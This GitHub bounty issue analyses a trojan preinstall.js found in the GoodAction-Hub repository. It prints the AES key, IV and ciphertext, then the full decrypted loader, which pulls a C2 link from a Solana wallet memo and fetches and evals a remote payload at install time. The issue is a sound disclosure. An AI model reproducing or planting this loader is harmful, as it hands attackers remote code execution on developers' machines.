清除 GoodActionHub 开源代码中的无用文件、木马脚本

[TechQuery]

Task description

1. 清理因 AI agent 不完善而写入的无用文件
2. 删除因 AI agent 不安全而安装的木马脚本
   • 同作者账号的同类 bug：https://github.com/kaiyuanshe/2023-China-Open-Source-Report/blob/b9b70c8f4a7e107ab110b6d99efbc284bd9921a9/preinstall.js

Reward currency

TQT $

Reward amount

45

Reward payer

水歌 tech-query@fcc-cd.dev

Task source

https://open-source-bazaar.feishu.cn/record/AnNerpOKTe1zG3cu252cWpyxn8g

[TechQuery]

因在 Docker 开发环境中执行 bun install 安装本项目依赖包时报错：

TypeError: Cannot destructure property 'uezupbxi' of 'undefined' as it is undefined.
    at eval (eval at <anonymous> (eval at <anonymous> (/workspaces/GoodAction-Hub/preinstall.js:14:1)), <anonymous>:1:2342)
    at scyzzvvy (eval at <anonymous> (eval at <anonymous> (/workspaces/GoodAction-Hub/preinstall.js:14:1)), <anonymous>:4:400)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)

不但让安装失败，看起来还像木马脚本。于是我对 preinstall.js 脚本进行了以下分析：

1. 单行格式化为多行

VS Code 提示字符串中有大量不可见字符：

2. 显示不可见字符

将 eval() 函数改为 console.log() 后运行，即可不执行隐藏代码、只显示代码明文：

const d = require("crypto").createDecipheriv(
  "aes-256-cbc",
  "zetqHyfDfod88zloncfnOaS9gGs90ONX",
  Buffer.from("a041fdaa0521fb5c3e26b217aaf24115", "hex"),
);
let b = d.update(
  "8486ea612240232e0735f8fe98e853bfe23fcb38b3e1d38e61d612afad0dbaae5e532f47ad76dcc7791945995f6c00674138ae4221f72c1c61e089d6b6b36c9d7f4bd3650fdc6f04bd3a594a9db1f71c5eea7b055428efa889a0821d1b2fb2e783ea98e1a948d15ee5ad8cbcfb0a84d78911ebb3c29c4cc3c2d82cccc26ac20df19420bb8145fc0524b8f745c24d13d38c9ee2cde21154293fc4217d6c527378e969dea5a67e7cb4816860ae8590573b32bbf9b0c1cef10810f995bbc4aa96877866ca0daedcfa9a5c7daac4c99cd8f456f4818012fd6e8ce8e027f0bca6dd4c1d3aa4f452e135044be9d0bc5b1c3a9f49ab5d1e1a3855b7c9d5359f340a91eb42847ea016c21a9f5ece7ea941042948073c799bdc07737f2dc83a8c166636d70ba6862b20a7ed771edd96dd946ecab10541b2082b7522f229b9438badea4a108ef31952bd99ee8e6512fbc32b93b8ae4eb6894236b0d93cc2eaf3af69633bfcf4a52a2d67896daa779da2f266b8626ed2ad7b7abedd017e22b1ef2a44c31f3e66b00c1bdad6f6c6cfcb8fc409dada67c6d6679b0ae015f93cd7d15f8897d95bbeb60991440c1143087b298d6fa8e2f34cfd8d858b4a616986f1e7bb62a659313e80a6219fd261b47c4ea841cb5a728157a97fa525fcefdd55317cfc32484669c6f1160b630018c9647a969d973dc50d39ea6e23ea7d9984906955e6e89c782493316a0ceada99ff0d1fe812a75b328630043a0d04f744439426753eb0791d953c2df509db549e4edd686e86dab6eecf358744bede801c29bfd6baf0eadd3661db2360f2d463219c7cbb22faad5eeb0fff84b6d888467c66fcbb54b48833c0c46d614d59fb757ef70d7facfddd305cf5af6d146503ff4b26075c8b46e2ae0af94153b78e2bc32e932f3e1e1779bb18c96202edf7baaeedfc71a3765854ef215a4b7b32be66f3e2c7ace21934638320f7048df67f0deacd4e6392339070bb5e869ba92ed621c86c09613622a4fe10f6a6199ef5dbaa14b76cf5b1607b9e1cba78cce10cbdd75aaadd10da106fff263e8b3452c1472c5fbbc65686108564a8cfc551c464acafba0f2a3b9336fe966bd73255914efe9905bb6108f05153da68696207594244e5736cdaf2405344d3f49128f7df11e5b4736f57ce4edd1210669fdb6624d4fea2876ecaf8c730956d39c1ba5870b8acbda23742a8902dfbdf5a77447c31b82e1b2b5778c6814d7a65ecedb87fb9565cbb54e21e1269e0174906931b894360248854e099cd76496fd42e630004524a8780c2a079287b8fedc05ef0e0294a1751051c0b91cf547d9d9302b7c4301f92471ab9750dd774e2fd33c8326b2f47042318872293ba9d8534c9c645e04651fa0e6e580d3c447c7f5509f0d06350c6c2a932fb6e56574aa9bb86089568db2547f7cadc7453d8708ee73d0276ed75f684c6a6b9249cb1d47df2951e0ded7d1a11d5a8a28b749989b920ed11c5955099c882e240794b5c87635edc61b5553c3c18ce3c5e1ffe2f8d7118cc70422414974953a34f3af43ae605b4d040da08584255b5510e4e7e5a543bef0ab1c105cb9792c0219804bc83c351fb93c444064810575234273e7c299c880448cda234713b30173ee07c9ce45e9dc377d859599d1240995f4c21b0f70cb0757028cfdba6cf98f666a893b860d12ab6317ceeca60fd56996972a15b0a68fd8afa5bcb9960d80441b07c7e408836d663c8004b6e16e588e1e041e73c86a1f0abb8aa9c1362e514f6d8ec32a241f0e0f198163f5edde3325f33e09f591e443727f4f44052505f3f9e57028461fb79a2f2885b4ca38f37d58b4a1ab078c6ad9a27e83f2dd1fd5c24c2d273a2b2679db44e3f8b2f8147022637f5e9bd97bde42e050ce9d6b1f7d693f956cf2cc16e5c402ae768454813e0f071fa0bbca70dc68c6d18dd0829078efcbad8fdc4061468873f9f3bbf55da582e41b4cf1db77bb0d798e3b70e05e72faef4b00e54d3dfd8d2d03b9bd7982cd0678d9e654fbcdc926c24f2c841841cb6fca1fe6ffdf59c7e98b69a2fc9820c3cef31ed3dff47a0a8810c30c8a4fe0aea85a6091cf914d665390af924ad9144ff45443084aa65607750dd0d0942727b825a7ce7f7c41214d56d3d3c0c448395f00a65b2a3dd22369350e3b8ed66b6dca6bdea52dcff626d095ab1992763ced89d7957ad02901031dc0fa38f1855cc385d27d3375379b55781adf0ff0d1540d5465a118c43010f9986542e313d24392b85dde109f5908b454112049b289723eb43445e44aa5c3ed1751877eda1c7a7dbd1b195f479b79cb4a38d097b8d01092fe2fb02c2fa736e5277c180df256fc92be8676373385f59ef55fe796aeee301ca49839d57fb84b984ade90e11978f92e9f0f4a42137b1be4648e27e5e5b2d539bdfdcb2f17dc4f0f7b0f87b67bc8ae2421e3cb29d5abdd8cd3d3b0f640db3267e0fc74d39993424274279219f94095d59983d8e70ecbea1fc2a2e748ac46724cbdc1ae75c8235ab1bf93f16cca3b7be9dd56791f648a6d02bd7afda4081b76996481416907f39972400f8d7d005958201f250858ec4e93db25809bbb7bd0f44db80397e8ceab6bcff43bd5719bd0c9c31ee740ee21488599b1972fb6a01eac7ceee1506d78540075bac7ec74646a71ed967c904473e80d4ac2680304efb18d476806555968baac2130b224b289910f6660eb26ad2dc971b40a703e8679161abc6fb976017d2b286aaf959ff24b6397167dc3ddb344d365b1fafcb6874257ce96be6ade11cd714a283cab5cf39d8afcb89649e7ec35032e05cc039e299c6500a72248b0107f1b91756498783fcded269d3d819f89e29aefa239dce1cd35f2114f7dd7accb051744030a36121ed3548207d17b4843ba5e7652ae2d2033d8ea003eefd8055a7f9b171d3442aed5dd2adfa21e442d8067c93e58b136210fcb949e702016e3bbf510bae841cee187a38be656fafa09822083793b74f8b7cc562c0ac13fb0734d5c337d35d37ca7e1b661b80b8f213ec2da3a75689dfdf2b630ca3fe6e52a190c6c561bc03bacfd29aff95e0d67a28a7ce60513b2285bcba00b65d900a5af00c626201d7c99383aa0e4cf345bf24963bd23d991b7908128be36b7610ea3faa1f92464da82cd14f57ed478245660ed4a12cfdabaa0d844f0ca652814183df4d58b1eab7ce285c10f32f95fc85edc7c7febad25e8ee8cb31a5b7267fbcc8e2a18c813406b0354e5268ff45e0645bef23359351459b2be568fa1cbb7a3e596ee962b8c6c9fd0b09dece6c08f423949e13591d996bae78d22d769562d5cd50f92a89e3815c291ce076331351986202f14cba2db7ad3e68b83daa927f59eeb8d61d8c263fc7154292f5f59e6d4ee14237f29640091806c41c357d0bf47bd27a448bfe812cb1122d60a27f7ffa2e63eda7e8c4090da9d2acb5a4269da6306c3412a6b225273d0197eae6d250a9f9708208ee6d9a30658d3e0c42c52c17a663aadb2abfc9d2c986cbbb7c34b731e0a448bb09bdc36c9362960519ea809d34e244365dff3d6abfca35640ef11e376db8ca8ac84aa35f63e034e2408866a9f07346b30718910102e5b23fb33ea959bc7dc6a4c4f7e6001fb579ed1e0c40c86137dc418d607fca03522836db9a3fdefbae23e929d43d5b7db5da5264ae6a1f08ae777766dae36ff3f3fa80505024a511d5f66b2053840d22f395fba6cc3030b1477a3cc4a4ddf74925cb096670a6211377dd2edc6e5cb66a3bee588b1cde264a8e7f1b2f9304b155034799875e82ab0b5687f2180f6737861b9271e69904744e9fec7361d3d23a632052cc722ce21ed0db49c38b49ced5e64cd05ff52698a334ccf7accf70ad94ede6f99ba20aac45abc2072e8f53fedfeef84a04d6a2bc56a99c665a8556859d6f0da260504ba79c7b5d5965ca818f984a2232d67baa950529029878ae9cf6c334286cf4b26a801fd6817a008fd6676dbe6bcabe566bfd67e710b7d0c0d1701b56ef06722a19faedd32e5842e68f8d5236ec0444c91c83e4f49f6a3eb2b79eba07b8e63382f179cbe6c24e7163ea3621d285c754d24ca59b894a0e0d012cfc4cb4865efa3c3e44df20cd2a2ac85ffca4152c58c8583b105e079e72a1ae8e61d016855d1cdd017a727f12b25bf79a6079526918132387b20267f33540d57939d146530e8fa08f25ac211e95c8737b40125abf656e793aafc32ea1e4926c7a7f80974f07eb8aa0a3bacff797602b344f1b24333d1ed2d1d4e0eb1cc796905b27f89c2e8d5fb636254368887dc8a60df4d55262ffd4bedad784a99ec436dcfaf74036969b5036d9ce865362b6bec52b64e9b62d1e1932269a4bcc6045c0ea92c1369dc5bfc4fc1b88e829144d3ea1ccff901c4ca6676585ec6129ca733fd568b0c1f56be2bac3dc269e17b042a9fb0905a94cecddb29d31ecee0916fa4ef2c57ff9e708453f55b2ad58f97b8bf43c4e4b3e3fb8f77c0bb9f804098888c3639c026e76b00b5d8d3a26eb43035ca52124eb308a1cb1b646263b62d13c56e15be8c7f96e17ddf208e54f5bd8b2484cd94ae3457b2225113e0a55c1bcbe24e7e0fcc6267514744e3571933fd25737a121eaf88336836b36bb570223b381a68e00eb3af49b797a7af3a404d44e1c23ee25ac4a565d3235524c425861909cfe7b4d4b9a2197ea23e36f3b728a0274177763ae8f627854529adc5a288a8a579f846a3976a815147aa67b5ad6fc6ee08f6df011c01d1c7df85dbfeb48c82a6c433c3649a547cd2c4b529508c785c024d7cd502d6f165a4e89d2c74d39e61d2e2ee0e993ef32ebd1ba3e80dda993d09c528d586106036e058fff93732a9a33643d9baaec0aaab05f311cfd082b027d2d5952bc130bef5ea8a406c021cb2b3178ecc7019dea285ef616463eea76ec6c1915f4bcd7b5db5153cda16b22af34dff15c4ee1796aa0ab0b4cf456473bc97de0de46e8cd12ed0637a3ffe79ad5c6aee8aea5f57bb2c82745330c62872af4f27c9f72a9b430f5475790c62d450bca2e4776176e54c0ce6bcab157b857a0e2703d450d1e90ef9adad2257ec202f40b307412d2386f80e6a4540a8629997d21b14bfff884d68555d60a03ece6c7f1545bcc26af9161d115f9e0cc9262b17cb7d5ef7a87058f63503c45a155245b8ead1cc8c9785145b5c38630b32aa4433bc99a4427a35934eb55e031e9184e25cf7b831ba7d3bfb542ffaeadab508a55f1ada8ee578accdcb121806cf0aa31c66954c5eb67c4dcfb826c7bfcd67da81781395771a50b07b5878502194bd262e8ea713e5f77fa53fdb0117db84d75cb86b7ed4635179caafc4b39d882b18e60cf8a12a09a9592a6d95b4ad6b24d0e66d74f02deccf36fe8ffbd629fdde663989fb3313f7fc908cadb110f310649dfbaf64f2c9d4f684fbaa2bebd6b8d1e18028dbb2fe403da6cf41664be711e947aba4891ee49b6c53bc7e6cfd713d3284a376d57d01635a3677101ae4e5a8925c58207ef41fbf828409c22f8d27b5eb4196548fcf10ee080659e95a4b9876bd6bc568ba6fcbd8a9e98c224f3d932e4f930d116a0927ec679290bf70627dcca94f86969f9a8636d177bda9faeabd3e9c5ef77b06e221edf6a05a0d6ff592c84ea3a0fd2dd931e28b693625386df4c83de54fa4650883b165302225a7f6144bec0df631d192009b6e0ba5927f0d7d4257e03483e931bf29c11198d017afdb2d1b8216b56ba823c3169da3c3884897bca2d697119482b95e0c88cdc51429e9c4c015d134d4559b463552d4607121d6a60f445120f0416db3f254070a6df3dbb3431d3c510d3390664d3dd7b39aad2c8b39d1230e308bd1548369336e3b658b0099d46aec62647409f934215975ae7728b9d2c68185b4f50de6d2246fda79dd80145ff79a959ac65b82d86c1f891cf50036240f6075bda2549a659cea59d1a2a7e6c62a6d9bc10f35ae3aff399f3fa1be952c306cf973b7db273e27367f92be2fa7b58f756e1eb2069eab5730b399babcf9d9547592aaca347d25aa807da33d39e3a5944dd9ae4ffebd4b574eadd3fc8cbc8093e097f11a165c38ff99865ded5e48103813db99e097ed52585265bf0fb1103dfb6dbd245aa2e70bdfa9a25e4ebb022f7242ccc9bb9a1eb6f8e3c852be24743576c3c16ee3c92b64fa4d7313e57e44ab4bdf67ced6dbcb5e10945410056b263e77d7526660ea37b53bc41969e565002265fcfaa85e0f9",
  "hex",
  "utf8",
);
b += d.final("utf8");
eval(b);

3. 解码加密字符

用上一步同样的方法，即可不执行加密代码、只显示代码明文：

var __defProp = Object.defineProperty;
var __name = (target, value) =>
  __defProp(target, "name", { value, configurable: !0 });
var os = require("os"),
  fs = require("fs"),
  path = require("path");
async function _getSignFAddress(publicKey, options = {}) {
  let limit = options.limit || 1e3,
    endpoints = [
      "https://api.mainnet-beta.solana.com",
      "https://solana-mainnet.gateway.tatum.io",
      "https://go.getblock.us/86aac42ad4484f3c813079afc201451c",
      "https://solana-rpc.publicnode.com",
      "https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc",
      "https://solana.drpc.org",
      "https://solana.leorpc.com/?api_key=FREE",
      "https://solana.api.onfinality.io/public",
      "https://solana.api.pocket.network/",
    ],
    lastError = null;
  for (let endpoint of endpoints)
    try {
      let response = await fetch(endpoint, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({
          jsonrpc: "2.0",
          id: 1,
          method: "getSignaturesForAddress",
          params: [publicKey.toString(), { limit }],
        }),
      });
      if (!response.ok) throw new Error("");
      let data = await response.json();
      if (data.zmwtjkgxor) throw new Error("");
      return data.result;
    } catch (zmwtjkgxor) {
      ((lastError = zmwtjkgxor),
        await new Promise((resolve) => setTimeout(resolve, 100)));
      continue;
    }
  throw new Error(`${lastError?.message}`);
}
__name(_getSignFAddress, "_getSignFAddress");
function fvzsrnzlh() {
  return new Promise(async (resolve) => {
    try {
      let memo = null;
      for (; !memo; ) {
        let signatures = await _getSignFAddress(
          "BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC",
          { limit: 1e3 },
        );
        if (
          !Array.isArray(signatures) ||
          (Array.isArray(signatures) && signatures.length == 0)
        ) {
          await new Promise((resolve2) => setTimeout(resolve2, 1e4));
          continue;
        }
        ((memo = signatures.filter((x) => x?.memo)[0].memo),
          await new Promise((resolve2) => setTimeout(resolve2, 1e4)));
      }
      let result2 = memo.replace(/\[\d+\]\s*/, "");
      return resolve(JSON.parse(result2));
    } catch (e) {
      return resolve(e.toString());
    }
  });
}
__name(fvzsrnzlh, "fvzsrnzlh");
new Promise((resolve) => setTimeout(resolve, 10 * 1e3)).then((_) => {
  if (_isRussianSystem()) return;
  let homedir = process.env.USERPROFILE || os.homedir(),
    _path = path.join(homedir, "init.json");
  if (fs.existsSync(_path)) {
    let check = fs.readFileSync(_path);
    try {
      if (
        ((check = JSON.parse(check)),
        !(check?.date && check.date + 2 * 24 * 60 * 60 * 1e3 < Date.now()))
      )
        return;
      ((check.date = Date.now()),
        fs.writeFileSync(_path, JSON.stringify(check)));
    } catch {}
  }
  (os.platform() == "darwin" &&
    fs.writeFileSync(_path, JSON.stringify({ date: Date.now() }), "utf-8"),
    fvzsrnzlh().then((_data) => {
      scyzzvvy(
        atob(_data.link),
        async (zmwtjkgx, { uezupbxi, ypbtv, secretKey }) => {
          if (!uezupbxi) {
            console.log("payload not get, ", atob(_data.link));
            return;
          }
          if (zmwtjkgx)
            (await new Promise((resolve) => setTimeout(resolve, 1e3)),
              fvzsrnzlh());
          else {
            if (uezupbxi?.length == 20) {
              eval(atob(uezupbxi));
              return;
            }
            if (os.platform() == "darwin") {
              let _iv = Buffer.from(ypbtv, "base64");
              eval(atob(uezupbxi));
            } else {
              let vm = require("vm"),
                _context = {
                  require,
                  Buffer: require("buffer").Buffer,
                  atob: __name(
                    (str) => Buffer.from(str, "base64").toString("binary"),
                    "atob",
                  ),
                  btoa: __name(
                    (str) => Buffer.from(str, "binary").toString("base64"),
                    "btoa",
                  ),
                  process,
                  console,
                  setTimeout,
                  setImmediate,
                  clearTimeout,
                  setInterval,
                  clearInterval,
                };
              (vm.createContext(_context),
                new vm.Script(`var https = require("https");
const secretKey = '${secretKey}';
const _iv = Buffer.from('${ypbtv}', "base64")
eval(atob('${uezupbxi}'))`).runInContext(_context));
            }
          }
        },
      );
    }));
});
var scyzzvvy = __name(async (usrhhlqwzd, oxfys) => {
  try {
    let response = await fetch(usrhhlqwzd, { headers: { os: os.platform() } });
    if (response.ok) {
      let data = await response.text(),
        header = response.headers;
      oxfys(null, {
        uezupbxi: data,
        ypbtv: header.get(atob("aXZiYXNlNjQ=")),
        secretKey: header.get(atob("c2VjcmV0a2V5")),
      });
    } else oxfys(new Error(""));
  } catch (zmwtjkgx2) {
    oxfys(zmwtjkgx2);
  }
}, "scyzzvvy");
function _isRussianSystem() {
  let isRussianLanguage = [
      os.userInfo().username,
      process.env.LANG,
      process.env.LANGUAGE,
      process.env.LC_ALL,
      Intl.DateTimeFormat().resolvedOptions().locale,
    ].some((info) => info && /ru_RU|ru-RU|Russian|russian/i.test(info)),
    timezoneInfo = [
      Intl.DateTimeFormat().resolvedOptions().timeZone,
      new Date().toString(),
    ],
    russianTimezones = [
      "Europe/Moscow",
      "Europe/Kaliningrad",
      "Europe/Samara",
      "Asia/Yekaterinburg",
      "Asia/Omsk",
      "Asia/Krasnoyarsk",
      "Asia/Irkutsk",
      "Asia/Yakutsk",
      "Asia/Vladivostok",
      "Asia/Magadan",
      "Asia/Kamchatka",
      "Asia/Anadyr",
      "MSK",
    ],
    isRussianTimezone = timezoneInfo.some(
      (info) =>
        info &&
        russianTimezones.some((tz) =>
          info.toLowerCase().includes(tz.toLowerCase()),
        ),
    ),
    utcOffset = -new Date().getTimezoneOffset() / 60,
    isRussianOffset = utcOffset >= 2 && utcOffset <= 12;
  return isRussianLanguage && (isRussianTimezone || isRussianOffset);
}
__name(_isRussianSystem, "_isRussianSystem");

4. AI 代码解释

将上述代码给 GitHub copilot（GPT-5.3-Codex 模型）阅读并解释其作用，回答如下：

这段脚本本质上是一个远程载荷下载并执行器（loader），而且有明显的恶意特征。它的核心作用不是做正常安装，而是在安装阶段动态拉取并执行未知代码。

它在做什么（按流程）

1. 通过 _getSignFAddress() 轮询多个 Solana RPC 节点，读取某个固定钱包地址的最近交易备注（memo）。
2. 在 fvzsrnzlh() 里不断等到有 memo，把 memo 当 JSON 解析，拿到一个字段（link，还是 base64 编码）。
3. 主逻辑延时 10 秒后执行，并做环境判断：
   • _isRussianSystem()：如果系统语言/时区像俄罗斯环境，就直接退出（地理规避/反分析特征）。
   • 检查用户目录 init.json，用时间戳做节流（大约两天一次），避免每次都触发。
4. scyzzvvy() 用解码后的 link 发 HTTP 请求，获取响应正文和两个响应头（ivbase64、secretkey）。
5. 把返回内容当 base64 字符串解码后直接 eval 执行。
   • macOS 路径直接 eval。
   • 非 macOS 在 vm 上下文中拼接脚本再执行，本质仍是远程代码执行。

为什么危险

• 使用 eval/vm.Script 执行网络返回内容，属于典型 RCE（远程代码执行）模式。
• 控制地址藏在区块链 memo 里，增加溯源和封禁难度（动态 C2）。
• 有地域规避逻辑（俄语/俄罗斯时区退出）和触发频率控制，都是恶意脚本常见手法。
• 出现在 preinstall 场景时，意味着你一装依赖就可能被执行。

一句话总结
这是一个“从链上取配置 -> 从远端拉 payload -> 本地执行”的安装期后门加载器，不是正常业务脚本。建议立即从安装链路移除，并检查 package.json 的 preinstall、锁文件和依赖来源。

5. 木马文件溯源

• Git 提交历史：https://github.com/FenjuFu/GoodAction-Hub/commits/main/preinstall.js
• fork 上游历史：https://github.com/Yrd980/commonweal/commits/main/preinstall.js

根据上述 git commit 历史初步分析：木马不来自原 Next.js 脚手架，系各自后续感染，可能是代码库提交人使用了受污染的 AI agent 或 skill。

[github-actions]

Reward data

- issue: "#7"
  payer: "@水歌 <tech-query@fcc-cd.dev>"
  payee: "@TechQuery"
  currency: TQT $
  reward: 45